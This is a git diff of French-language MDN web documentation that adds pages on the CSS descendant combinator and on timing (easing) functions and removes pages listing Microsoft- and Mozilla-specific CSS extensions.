-        <span id="clientY">0</span>
-      </p>
-      <p>
-        Système de coordonnées Page : <span id="pageX">0</span>,
-        <span id="pageY">0</span>
-      </p>
-      <p>
-        Système de coordonnées Écran : <span id="screenX">0</span>,
-        <span id="screenY">0</span>
-      </p>
-    </div>
-  </div>
-</div>
- -
-

CSS

- - -

Le code CSS est uniquement utilisé à des fins stylistiques. La classe "outer" est utilisée pour la boîte englobante qu'on rend volontairement trop large pour la fenêtre de MDN afin de pouvoir scroller horizontalement. La boîte "inner" est celle sur laquelle on suit les évènements.

- -
.outer {
-  width: 1000px;
-  height: 200px;
-  background-color: red;
-}
-
-.inner {
-  position: relative;
-  width: 500px;
-  height: 150px;
-  top: 25px;
-  left: 100px;
-  background-color: blue;
-  color: white;
-  cursor: crosshair;
-  user-select: none;
-  -moz-user-select: none;
-  -ms-user-select: none;
-  -webkit-user-select: none;
-}
-
-.log {
-  position: relative;
-  width: 100%;
-  text-align: center;
-}
-
- -

Résultat

- -

Voici ci-après le résultat obtenu avec ces éléments. Vous pouvez voir comment les coordonnées en X et en Y évoluent lorsque vous déplacez la souris à l'intérieur ou en dehors de la boîte bleue selon les différents systèmes de coordonnées. On peut également voir que le défilement horizontal n'a pas d'impact sur la valeur pageX.

- -

{{EmbedLiveSample("Exemples", 600, 250)}}

- -

Voir aussi

- -
    -
  • Utiliser les transformations CSS : comment modifier un système de coordonnées
    • -
  • Les coordonnées relatives aux évènements de la souris : -
      -
    • {{domxref("MouseEvent.offsetX")}} et {{domxref("MouseEvent.offsetY")}}
      • -
    • {{domxref("MouseEvent.clientX")}} et {{domxref("MouseEvent.clientY")}}
      • -
    • {{domxref("MouseEvent.pageX")}} et {{domxref("MouseEvent.pageY")}}
      • -
    • {{domxref("MouseEvent.screenX")}} et {{domxref("MouseEvent.screenY")}}
      • -
    -
    • -
diff --git a/files/fr/web/css/descendant_combinator/index.html b/files/fr/web/css/descendant_combinator/index.html new file mode 100644 index 0000000000..5690dd95e7 --- /dev/null +++ b/files/fr/web/css/descendant_combinator/index.html @@ -0,0 +1,109 @@ +--- +title: Sélecteurs descendant +slug: Web/CSS/Sélecteurs_descendant +tags: + - CSS + - Débutant + - Reference + - Sélecteur +translation_of: Web/CSS/Descendant_combinator +--- +
{{CSSRef("Selectors")}}
+ +

Le combinateur de descendance, représenté par un blanc (ou plusieurs blancs à la suite) permet de combiner deux sélecteurs  (sous la forme sélecteur₁ sélecteur₂) afin de cibler les éléments qui correspondent au second sélecteur uniquement si ceux-ci ont un élément ancêtre qui correspond au premier sélecteur. Les sélecteurs qui utilisent ce combinateur sont souvent appelés des sélecteurs de descendants.

+ +
/* Les éléments <li> qui sont des descendants */
+/* d'un <ul class="mon-truc"> */
+ul.mon-truc li {
+  margin: 2em;
+}
+ +

Techniquement, le combinateur de descendance est représenté par un ou plusieurs blancs (les caractères qui sont des blancs sont : l'espace, le retour chariot, le saut de ligne, la tabulation verticale, la tabulation horizontale) entre deux sélecteurs lorsqu'il n'y a aucun autre combinateur. Les blancs utilisés pour le combinateur peuvent éventuellement contenir des commentaires CSS.

+ +

Syntaxe

+ +
selecteur1 selecteur2 { /* déclarations CSS */ }
+
+ +

Exemples

+ +

CSS

+ +
li {
+  list-style-type: disc;
+}
+
+li li {
+  list-style-type: circle;
+}
+
+ +

HTML

+ +
<ul>
+  <li>
+    <div>Élément 1</div>
+    <ul>
+      <li>Sous-élément A</li>
+      <li>Sous-élément B</li>
+    </ul>
+  </li>
+  <li>
+    <div>Élément 2</div>
+    <ul>
+      <li>Sous-élément A</li>
+      <li>Sous-élément B</li>
+    </ul>
+  </li>
+</ul>
+
+ +

Résultat

+ +

{{EmbedLiveSample('Exemples')}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName("CSS4 Selectors", "#descendant-combinators", "descendant combinator")}}{{Spec2("CSS4 Selectors")}} 
{{SpecName('CSS3 Selectors', '#descendant-combinators', 'descendant combinator')}}{{Spec2('CSS3 Selectors')}} 
{{SpecName('CSS2.1', 'selector.html#descendant-selectors', 'descendant selectors')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1', '#contextual-selectors', 'contextual selectors')}}{{Spec2('CSS1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.selectors.descendant")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/easing-function/index.html b/files/fr/web/css/easing-function/index.html new file mode 100644 index 0000000000..4170f065b1 --- /dev/null +++ b/files/fr/web/css/easing-function/index.html @@ -0,0 +1,275 @@ +--- +title: +slug: Web/CSS/timing-function +tags: + - CSS + - Reference + - Type +translation_of: Web/CSS/easing-function +translation_of_original: Web/CSS/timing-function +--- +
{{CSSRef}}
+ +

Le type de donnée <timing-function> représente une fonction mathématique qui décrit la vitesse à laquelle évolue une valeur unidimensionnelle lors d'une transition ou d'une animation. Cela permet de définir une courbe d'accélération afin que la vitesse de l'animation puisse changer lors de son exécution. Ces fonctions sont souvent appelées « fonction de temporisation » ou « easing functions » (en anglais).

+ +

Cette fonction prend comme entrée un ratio de temps (0 : l'état initial, 1 : l'état final) et produit un ratio d'évolution (sous la forme d'une valeur {{cssxref("<number>")}}) allant également de 0.0 à 1.0.

+ +

+ +

Le ratio de sortie peut être supérieur à 1.0 ou inférieur à 0.0. Cela entraînera l'animation « plus loin » que l'état final ou initial avant de revenir. Cela permettra de créer un effet de rebondissement.

+ +

Toutefois, si la valeur de sortie correspondante est entrainée hors de son domaine de validité (par exemple une composante de couleur entraînée au-delà de 255), la valeur est ramenée à la valeur autorisée la plus proche (dans l'exemple : 255).

+ +

Valeurs

+ +
+

CSS prend en charge deux types de fonctions de temporisation :

+ +
    +
  • un sous-ensemble des courbes de Bézier cubiques
    • +
  • des fonctions en escalier.
    • +
+ +

Les plus utiles de ces fonctions sont également disponibles via un mot-clé qui permet de les décrire.

+ +

La classe de fonctions cubic-bezier()

+ +

+ +

La notation fonctionnelle cubic-bezier() définit une courbe de Bézier cubique. Ces courbes sont continues et sont généralement « douces » (peu de variations) au début et à la fin.

+ +

Une courbe de Bézier cubique se définit par quatre points P0, P1, P2, et P3. P0 et P3 correspondent respectivement au début et à la fin de la courbe. En CSS, ces points sont fixes car les coordonnées des points expriment des ratios. P0 est donc (0, 0) (instant initial et état initial) et P3 est (1, 1) (instant final et état final).

+ +

Tous les courbes de Bézier cubiques ne peuvent pas être utilisées comme des fonctions de temporisation. Certaines de ces courbes ne sont pas des fonctions mathématiques (c'est-à-dire des courbes qui n'ont qu'une valeur pour une abscisse donnée). P0 et P3 sont fixés par la définition CSS et une courbe de Bézier cubique est donc uniquement valide si et seulement si les abscisses des points P1 et P2 sont toutes les deux comprises dans l'intervalle [0, 1].

+ +

Les courbes de Bézier cubiques pour lesquelles les ordonnées de P1 et/ou P2 sont situées en dehors de l'intervalle [0, 1] génèreront un effet de rebondissement.

+ +

Lorsqu'on définit une courbe de Bézier invalide en CSS via cubic-bezier, le moteur ignore la déclaration dans son intégralité.

+
+ +

Syntaxe

+ +
cubic-bezier(x1, y1, x2, y2)
+
+ +

avec

+ +
+
x1, y1, x2, y2
+
qui sont des valeurs de type {{cssxref("<number>")}} représentant les abscisses et les ordonnées des points P1 et P2 définissant la courbe de Bézier cubique. x1 et x2 doivent appartenir à l'intervalle [0, 1], sinon la valeur est considérée comme invalide.
+
+ +

Exemples

+ +

Voici des courbes de Bézier cubiques qui peuvent être utilisées en CSS :

+ +
cubic-bezier(0.1, 0.7, 1.0, 0.1)
+
+cubic-bezier(0, 0, 1, 1)
+
+/* Des valeurs négatives pour les ordonnées pour */
+/* créer du rebondissement                       */
+cubic-bezier(0.1, -0.6, 0.2, 0)
+
+/* Idem avec des valeurs > 1                     */
+cubic-bezier(0, 1.1, 0.8, 4)
+ +

En revanche, ces définitions sont invalides :

+ +
/* Bien que le type de sortie puisse être une couleur */
+/* les courbes de Bézier fonctionnent avec des ratios */
+/* numériques */
+cubic-bezier(0.1, red, 1.0, green)
+
+/* Les abscisses doivent appartenir à l'intervalle [0, 1] */
+/* car sinon la courbe n'est pas une fonction temporelle. */
+cubic-bezier(2.45, 0.6, 4, 0.1)
+
+/* Il faut définir les deux points, il n'y a pas de valeur */
+/* par défaut. */
+cubic-bezier(0.3, 2.1)
+
+/* Les abscisses doivent appartenir à l'intervalle [0, 1] */
+/* car sinon la courbe n'est pas une fonction temporelle. */
+cubic-bezier(-1.9, 0.3, -0.2, 2.1)
+
+ +

La classe de fonction steps()

+ +

La notation fonctionnelle steps() permet de définir une fonction en escalier qui découpe les valeurs de sortie en « marches » de même longueur. Chacune de ces marches correspondra à une étape de l'animation.

+ +

+ +

steps(2, start)

+ +

+ +

steps(4, end)

+ +

Syntaxe

+ +
steps(nombre_de_marche, direction)
+
+ +

avec

+ +
+
nombre_de_marche
+
Un entier (valeur de type {{cssxref("<integer>")}} qui représente le nombre de marches composant la fonction en escalier.
+
direction
+
Un mot-clé qui indique si la fonction est continue à gauche ou continue à droite : +
    +
  • start indique une fonction continue à gauche : la première marche se déroule à partir du début de l'animation
    • +
  • end indique une fonction continue à droite : la dernière marche se déroule lors de la fin de l'animation.
    • +
+ end est la valeur par défaut.
+
+ +

Exemples

+ +

Voici des exemples de fonction de temporisation en escalier valides :

+ +
/* Il y a cinq marches et la dernière est utilisée */
+/* avant la fin de l'animation.                    */
+steps(5, end)
+
+/* Une fonction à deux marches dont la première se */
+/* déroule au début de l'animation.                */
+steps(2, start)
+
+/* Le deuxième paramètre est facultatif. */
+steps(2)
+
+ +

En revanche, celles-ci sont invalides :

+ +
/* Le premier paramètre doit être un entier (type */
+/* <integer>)                                     */
+steps(2.0, end)
+
+/* Le nombre d'étapes ne peut pas être négatif. */
+steps(-3, start)
+
+/* Il ne peut pas être nul.*/
+steps(0, end)
+
+ +

La classe de fonction frames()

+ +
+

Note : Le nom "frames" est actuellement en discussion et la classe de fonction associée est actuellement désactivée dans les versions finales des différents navigateurs tant qu'une décision n'a pas été prise.

+
+ +

La notation fonctionnelle frames() définit une fonction en escalier avec des intervalles (les marches) équidistantes. La différence difference entre frames() et steps() est que frames() considèrent l'état initial (0%) et final (100%) comme étant des paliers à part entière. Ces états sont donc affichés aussi longtemps que les autres intervalles.

+ +

frames(2), frames(4)

+ +

 

+ +

 

+ +

Syntaxe

+ +
steps(nombre_etapes)
+
+ +

où :

+ +
+
nombre_etapes
+
Est un entier ({{cssxref("<integer>")}}) strictement positif qui représente le nombre d'intervalles équidistants qui composent la fonction en escalier.
+
+ +

Exemples

+ +

Ces fonctions de temporisation sont valides :

+ +
/* Le paramètre est un entier positif. */
+frames(10)
+
+ +
+

Note : une démo de la fonction frames() avec un exemple fonctionnel est disponible sur notre dépôt GitHub.

+
+ +

Ces fonctions de temporisation sont invalides :

+ +
/* Le paramètre passé à la fonction doit être un entier
+   et pas une valeur décimale, même si cette dernière est
+   égale à un entier. */
+frames(2.0)
+
+/* Le nombre de frames doit être positif. */
+frames(-3)
+
+/* Il doit y avoir au moins une frame. */
+frames(0)
+
+ +

Mots-clés pour les fonctions de temporisation usuelles

+ +

linear

+ +

Ce mot-clé représente la fonction de temporisation cubic-bezier(0.0, 0.0, 1.0, 1.0). Cette fonction permet de passer de l'état initial à l'état final avec une vitesse constante.

+ +

ease

+ +

Ce mot-clé représente la fonction de temporisation cubic-bezier(0.25, 0.1, 0.25, 1.0). Cette fonction est semblable à ease-in-out sauf qu'elle accélère plus rapidement au début et ralentit dès la moitié du parcours..

+ +

ease-in

+ +

Ce mot-clé représente la fonction de temporisation cubic-bezier(0.42, 0.0, 1.0, 1.0). L'animation démarre lentement puis accélère progressivement jusqu'à atteindre l'état final. Cela donne l'impression que l'animation s'arrête brutalement.

+ +

ease-in-out

+ +

Ce mot-clé représente la fonction de temporisation cubic-bezier(0.42, 0.0, 0.58, 1.0). L'animation démarre lentement puis accélère progressivement avant de ralentir à nouveau à l'approche de l'état final. Dans la première phase, la courbe se comporte comme ease-in et dans la deuxième moitié, elle se comporte comme ease-out.

+ +

ease-out

+ +

Ce mot-clé représente la fonction de temporisation cubic-bezier(0.0, 0.0, 0.58, 1.0). L'animation démarre rapidement puis ralentit progressivement avant d'atteindre son état final.

+ +

step-start

+ +

Ce mot-clé représente la fonction de temporisation steps(1, start) (ou steps(1, jump-start)). Avec cette fonction, l'animation passe directement à l'état final dès le début et conserve cet état jusqu'à la fin de l'animation.

+ +

step-end

+ +

Ce mot-clé représente la fonction de temporisation steps(1, end) (ou steps(1, jump-end)). Avec cette fonction, l'animation reste dans son état initial tout le long de la durée et passe directement à la position finale à la toute fin.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS3 Transitions', '#transition-timing-function', '<timing-function>')}}{{Spec2('CSS3 Transitions')}}Définition initiale.
{{SpecName('CSS3 Animations', '#animation-timing-function', '<timing-function>')}}{{Spec2('CSS3 Animations')}}Définition de <single-timing-function> comme synonyme de <single-transition-timing-function> selon le module CSS pour les transitions.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.types.timing-function", 2)}}

+ +

Voir aussi

+ +
    +
  • Les propriétés {{cssxref("transition-timing-function")}} et {{cssxref("animation-timing-function")}} qui utilisent une valeur de type <timing-function>
    • +
  • Les animations CSS
    • +
  • Les transitions CSS
    • +
diff --git a/files/fr/web/css/extensions_css_microsoft/index.html b/files/fr/web/css/extensions_css_microsoft/index.html deleted file mode 100644 index 017958249c..0000000000 --- a/files/fr/web/css/extensions_css_microsoft/index.html +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Extensions CSS de Microsoft -slug: Web/CSS/Extensions_CSS_Microsoft -tags: - - CSS - - Non-standard - - Reference -translation_of: Web/CSS/Microsoft_Extensions ---- -
{{CSSRef}}
- -

Les applications Microsoft, telles que Edge ou Internet Explorer, prennent en charge différentes extensions à CSS. Ces extensions sont préfixées par -ms.

- -

Propriétés spécifiques à Microsoft (ne pas utiliser sur le Web)

- -
-

Note : Ces propriétés et pseudo-classes ne fonctionneront que pour les applications Microsoft et ne sont pas en voie de standardisation.

-
- -
-
    -
  • {{CSSxRef("-ms-accelerator")}}
    • -
  • {{CSSxRef("-ms-block-progression")}}
    • -
  • {{CSSxRef("-ms-content-zoom-chaining")}}
    • -
  • {{CSSxRef("-ms-content-zooming")}}
    • -
  • {{CSSxRef("-ms-content-zoom-limit")}}
    • -
  • {{CSSxRef("-ms-content-zoom-limit-max")}}
    • -
  • {{CSSxRef("-ms-content-zoom-limit-min")}}
    • -
  • {{CSSxRef("-ms-content-zoom-snap")}}
    • -
  • {{CSSxRef("-ms-content-zoom-snap-points")}}
    • -
  • {{CSSxRef("-ms-content-zoom-snap-type")}}
    • -
  • {{CSSxRef("-ms-filter")}} {{Obsolete_Inline}}
    • -
  • {{CSSxRef("-ms-flow-from")}}
    • -
  • {{CSSxRef("-ms-flow-into")}}
    • -
  • {{CSSxRef("-ms-high-contrast-adjust")}}
    • -
  • {{CSSxRef("-ms-hyphenate-limit-chars")}}
    • -
  • {{CSSxRef("-ms-hyphenate-limit-lines")}}
    • -
  • {{CSSxRef("-ms-hyphenate-limit-zone")}}
    • -
  • {{CSSxRef("-ms-ime-align")}}
    • -
  • {{CSSxRef("-ms-overflow-style")}}
    • -
  • {{CSSxRef("-ms-scrollbar-3dlight-color")}} {{Obsolete_Inline}}
    • -
  • {{CSSxRef("-ms-scrollbar-arrow-color")}} {{Obsolete_Inline}}
    • -
  • {{CSSxRef("-ms-scrollbar-base-color")}} {{Obsolete_Inline}}
    • -
  • {{CSSxRef("-ms-scrollbar-darkshadow-color")}} {{Obsolete_Inline}}
    • -
  • {{CSSxRef("-ms-scrollbar-face-color")}} {{Obsolete_Inline}}
    • -
  • {{CSSxRef("-ms-scrollbar-highlight-color")}} {{Obsolete_Inline}}
    • -
  • {{CSSxRef("-ms-scrollbar-shadow-color")}} {{Obsolete_Inline}}
    • -
  • {{CSSxRef("-ms-scrollbar-track-color")}} {{Obsolete_Inline}}
    • -
  • {{CSSxRef("-ms-scroll-chaining")}}
    • -
  • {{CSSxRef("-ms-scroll-limit")}}
    • -
  • {{CSSxRef("-ms-scroll-limit-x-max")}}
    • -
  • {{CSSxRef("-ms-scroll-limit-x-min")}}
    • -
  • {{CSSxRef("-ms-scroll-limit-y-max")}}
    • -
  • {{CSSxRef("-ms-scroll-limit-y-min")}}
    • -
  • {{CSSxRef("-ms-scroll-rails")}}
    • -
  • {{CSSxRef("-ms-scroll-snap-points-x")}}
    • -
  • {{CSSxRef("-ms-scroll-snap-points-y")}}
    • -
  • {{CSSxRef("-ms-scroll-snap-x")}}
    • -
  • {{CSSxRef("-ms-scroll-snap-y")}}
    • -
  • {{CSSxRef("-ms-scroll-translation")}}
    • -
  • {{CSSxRef("-ms-text-autospace")}}
    • -
  • {{CSSxRef("-ms-touch-select")}}
    • -
  • {{CSSxRef("-ms-wrap-flow")}}
    • -
  • {{CSSxRef("-ms-wrap-margin")}}
    • -
  • {{CSSxRef("-ms-wrap-through")}}
    • -
  • {{CSSxRef("zoom")}}
    • -
-
- -

Pseudo-éléments

- -
-
    -
  • {{CSSxRef("::-ms-browse")}}
    • -
  • {{CSSxRef("::-ms-check")}}
    • -
  • {{CSSxRef("::-ms-clear")}}
    • -
  • {{CSSxRef("::-ms-expand")}}
    • -
  • {{CSSxRef("::-ms-fill")}}
    • -
  • {{CSSxRef("::-ms-fill-lower")}}
    • -
  • {{CSSxRef("::-ms-fill-upper")}}
    • -
  • {{CSSxRef("::-ms-reveal")}}
    • -
  • {{CSSxRef("::-ms-thumb")}}
    • -
  • {{CSSxRef("::-ms-ticks-after")}}
    • -
  • {{CSSxRef("::-ms-ticks-before")}}
    • -
  • {{CSSxRef("::-ms-tooltip")}}
    • -
  • {{CSSxRef("::-ms-track")}}
    • -
  • {{CSSxRef("::-ms-value")}}
    • -
-
- -

Caractéristiques média

- -
-
    -
  • {{CSSxRef("@media/-ms-high-contrast","-ms-high-contrast")}}
    • -
-
- -

API DOM relatives à CSS

- -
-
    -
  • {{DOMxRef("msContentZoomFactor")}}
    • -
  • {{DOMxRef("msGetPropertyEnabled")}}
    • -
  • {{DOMxRef("msGetRegionContent")}}
    • -
  • {{DOMxRef("MSRangeCollection")}}
    • -
  • {{DOMxRef("msRegionOverflow")}}
    • -
-
- -

Voir aussi

- - diff --git a/files/fr/web/css/extensions_mozilla/index.html b/files/fr/web/css/extensions_mozilla/index.html deleted file mode 100644 index 3d9acbff04..0000000000 --- a/files/fr/web/css/extensions_mozilla/index.html +++ /dev/null @@ -1,678 +0,0 @@ ---- -title: Extensions CSS de Mozilla -slug: Web/CSS/Extensions_Mozilla -tags: - - CSS - - Mozilla - - Non-standard - - Reference -translation_of: Web/CSS/Mozilla_Extensions ---- -
{{CSSRef}}
- -

Les applications Mozilla, telles que Firefox, prennent en charge un certain nombre d'extensions spécifiques à CSS : des propriétés, des valeurs, des pseudo-éléments, des pseudo-classes, des règles @ et des requêtes média. Ces extensions utilisent le préfixe -moz.

- -

Propriétés et pseudo-classes spécifiques à Mozilla (ne pas utiliser sur le Web)

- -
-

Note : Ces propriétés et pseudo-classes ne fonctionneront que pour les applications Mozilla (Firefox par exemple) et ne sont pas en voie de standardisation. Certaines ne s'applique qu'aux éléments XUL.

-
- -
-

B

- -
    -
  • {{CSSxRef("-moz-binding")}} {{Deprecated_Inline}}
    • -
  • {{CSSxRef("-moz-border-bottom-colors")}} {{Obsolete_Inline}}
    • -
  • {{CSSxRef("-moz-border-left-colors")}} {{Obsolete_Inline}}
    • -
  • {{CSSxRef("-moz-border-right-colors")}} {{Obsolete_Inline}}
    • -
  • {{CSSxRef("-moz-border-top-colors")}} {{Obsolete_Inline}}
    • -
  • {{CSSxRef("-moz-box-align")}}
    • -
  • {{CSSxRef("-moz-box-direction")}}
    • -
  • {{CSSxRef("-moz-box-flex")}}
    • -
  • {{CSSxRef("-moz-box-ordinal-group")}}
    • -
  • {{CSSxRef("-moz-box-orient")}}
    • -
  • {{CSSxRef("-moz-box-pack")}}
    • -
- -

C – I

- -
    -
  • {{CSSxRef("-moz-context-properties")}}
    • -
  • {{CSSxRef("-moz-float-edge")}}
    • -
  • {{CSSxRef("-moz-force-broken-image-icon")}}
    • -
  • {{CSSxRef("-moz-image-region")}}
    • -
- -

O

- -
    -
  • {{CSSxRef("-moz-orient")}}
    • -
  • {{CSSxRef("-moz-osx-font-smoothing")}}
    • -
  • {{CSSxRef("-moz-outline-radius")}}
    • -
  • {{CSSxRef("-moz-outline-radius-bottomleft")}}
    • -
  • {{CSSxRef("-moz-outline-radius-bottomright")}}
    • -
  • {{CSSxRef("-moz-outline-radius-topleft")}}
    • -
  • {{CSSxRef("-moz-outline-radius-topright")}}
    • -
  • {{CSSxRef("overflow-clip-box")}}
    • -
  • {{CSSxRef("overflow-clip-box-block")}}
    • -
  • {{CSSxRef("overflow-clip-box-inline")}}
    • -
- -

S – Z

- -
    -
  • {{CSSxRef("-moz-stack-sizing")}}
    • -
  • {{CSSxRef(":-moz-system-metric(images-in-menus)")}} {{Obsolete_Inline}}{{gecko_minversion_inline("1.9")}}
    • -
  • {{CSSxRef(":-moz-system-metric(mac-graphite-theme)")}} {{Obsolete_Inline}}{{gecko_minversion_inline("1.9.1")}}
    • -
  • {{CSSxRef(":-moz-system-metric(scrollbar-end-backward)")}} {{Obsolete_Inline}}{{gecko_minversion_inline("1.9")}}
    • -
  • {{CSSxRef(":-moz-system-metric(scrollbar-end-forward)")}} {{Obsolete_Inline}}{{gecko_minversion_inline("1.9")}}
    • -
  • {{CSSxRef(":-moz-system-metric(scrollbar-start-backward)")}} {{Obsolete_Inline}}{{gecko_minversion_inline("1.9")}}
    • -
  • {{CSSxRef(":-moz-system-metric(scrollbar-start-forward)")}} {{Obsolete_Inline}}{{Fx_minversion_inline(3)}}
    • -
  • {{CSSxRef(":-moz-system-metric(scrollbar-thumb-proportional)")}} {{Obsolete_Inline}}{{gecko_minversion_inline("1.9")}}
    • -
  • {{CSSxRef(":-moz-system-metric(touch-enabled)")}} {{Obsolete_Inline}}{{gecko_minversion_inline("1.9.2")}}
    • -
  • {{CSSxRef(":-moz-system-metric(windows-default-theme)")}} {{Obsolete_Inline}}{{Fx_minversion_inline(3)}}
    • -
  • {{CSSxRef("-moz-user-focus")}}
    • -
  • {{CSSxRef("-moz-user-input")}}
    • -
  • {{CSSxRef("-moz-user-modify")}}
    • -
  • {{CSSxRef("-moz-window-dragging")}}
    • -
  • {{CSSxRef("-moz-window-shadow")}}
    • -
-
- -

Anciennes propriétés spécifiques, désormais standardisées

- -
-

Note : Afin d'obtenir la meilleure compatibilité possible, vous devriez utiliser les versions standards, non-préfixées, de ces propriétés plutôt que les versions spécifiques. Généralement, lorsqu'une propriété est standardisée et implémentée, la version préfixée est généralement abandonnée ensuite.

-
- -
-
    -
  • -

    A

    -
    • -
  • {{CSSxRef("animation", "-moz-animation")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("animation-delay", "-moz-animation-delay")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("animation-direction", "-moz-animation-direction")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("animation-duration", "-moz-animation-duration")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("animation-fill-mode", "-moz-animation-fill-mode")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("animation-iteration-count", "-moz-animation-iteration-count")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("animation-name", "-moz-animation-name")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("animation-play-state", "-moz-animation-play-state")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("animation-timing-function","-moz-animation-timing-function")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("appearance","-moz-appearance")}} {{Experimental_Inline}}
    • -
  • -

    B

    -
    • -
  • {{CSSxRef("backface-visibility", "-moz-backface-visibility")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("background-clip", "-moz-background-clip")}}{{Obsolete_Inline(2)}}
    • -
  • {{CSSxRef("background-origin", "-moz-background-origin")}}{{Obsolete_Inline(2)}}
    • -
  • {{CSSxRef("-moz-background-inline-policy")}}{{Obsolete_Inline(32)}} [Remplacée par la version standard {{CSSxRef("box-decoration-break")}}]
    • -
  • {{CSSxRef("background-size", "-moz-background-size")}}{{Obsolete_Inline(2)}}
    • -
  • {{CSSxRef("border-inline-end","-moz-border-end")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-end")}}]
    • -
  • {{CSSxRef("border-inline-color","-moz-border-end-color")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-end-color")}}]
    • -
  • {{CSSxRef("border-inline-style","-moz-border-end-style")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-end-style")}}]
    • -
  • {{CSSxRef("border-inline-width","-moz-border-end-width")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-end-width")}}]
    • -
  • {{CSSxRef("border-image","-moz-border-image")}} {{Deprecated_Inline}}
    • -
  • {{CSSxRef("border-inline-start","-moz-border-start")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-start")}}]
    • -
  • {{CSSxRef("border-inline-start-color","-moz-border-start-color")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-start-color")}}]
    • -
  • {{CSSxRef("border-inline-start-style","-moz-border-start-style")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-start-style")}}]
    • -
  • {{CSSxRef("border-inline-start-width","-moz-border-start-width")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-start-width")}}]
    • -
  • {{CSSxRef("box-sizing", "-moz-box-sizing")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • -

    C

    -
    • -
  • {{CSSxRef("clip-path")}} {{Experimental_Inline}} [Applying to more than SVG]
    • -
  • {{CSSxRef("column-count","-moz-column-count")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("column-fill","-moz-column-fill")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("column-gap","-moz-column-gap")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("column-width","-moz-column-width")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("column-rule","-moz-column-rule")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("column-rule-width","-moz-column-rule-width")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("column-rule-style","-moz-column-rule-style")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("column-rule-color","-moz-column-rule-color")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("-moz-context-properties")}} {{Experimental_Inline}}
    • -
  • -

    F – M

    -
    • -
  • {{CSSxRef("filter")}} {{Experimental_Inline}} [Applying to more than SVG]
    • -
  • {{CSSxRef("font-feature-settings","-moz-font-feature-settings")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("font-language-override","-moz-font-language-override")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("hyphens","-moz-hyphens")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("margin-inline-end","-moz-margin-end")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("margin-inline-end")}}]
    • -
  • {{CSSxRef("margin-inline-start","-moz-margin-start")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("margin-inline-start")}}]
    • -
  • {{CSSxRef("mask")}} {{Experimental_Inline}} [Applying to more than SVG]
    • -
  • -

    O

    -
    • -
  • {{CSSxRef("opacity","-moz-opacity")}}{{Obsolete_Inline("1.9.1")}}
    • -
  • {{CSSxRef("outline","-moz-outline")}}{{Obsolete_Inline("1.9.2")}}
    • -
  • {{CSSxRef("outline-color","-moz-outline-color")}}{{Obsolete_Inline("1.9.2")}}
    • -
  • {{CSSxRef("outline-offset","-moz-outline-offset")}}{{Obsolete_Inline("1.9.2")}}
    • -
  • {{CSSxRef("outline-style","-moz-outline-style")}}{{Obsolete_Inline("1.9.2")}}
    • -
  • {{CSSxRef("outline-width","-moz-outline-width")}}{{Obsolete_Inline("1.9.2")}}
    • -
  • -

    P

    -
    • -
  • {{CSSxRef("padding-inline-end","-moz-padding-end")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("padding-inline-start")}}]
    • -
  • {{CSSxRef("padding-inline-start","-moz-padding-start")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("padding-inline-end")}}]
    • -
  • {{CSSxRef("perspective", "-moz-perspective")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("perspective-origin","-moz-perspective-origin")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("pointer-events")}} {{Experimental_Inline}} [Applying to more than SVG]
    • -
  • -

    T – U

    -
    • -
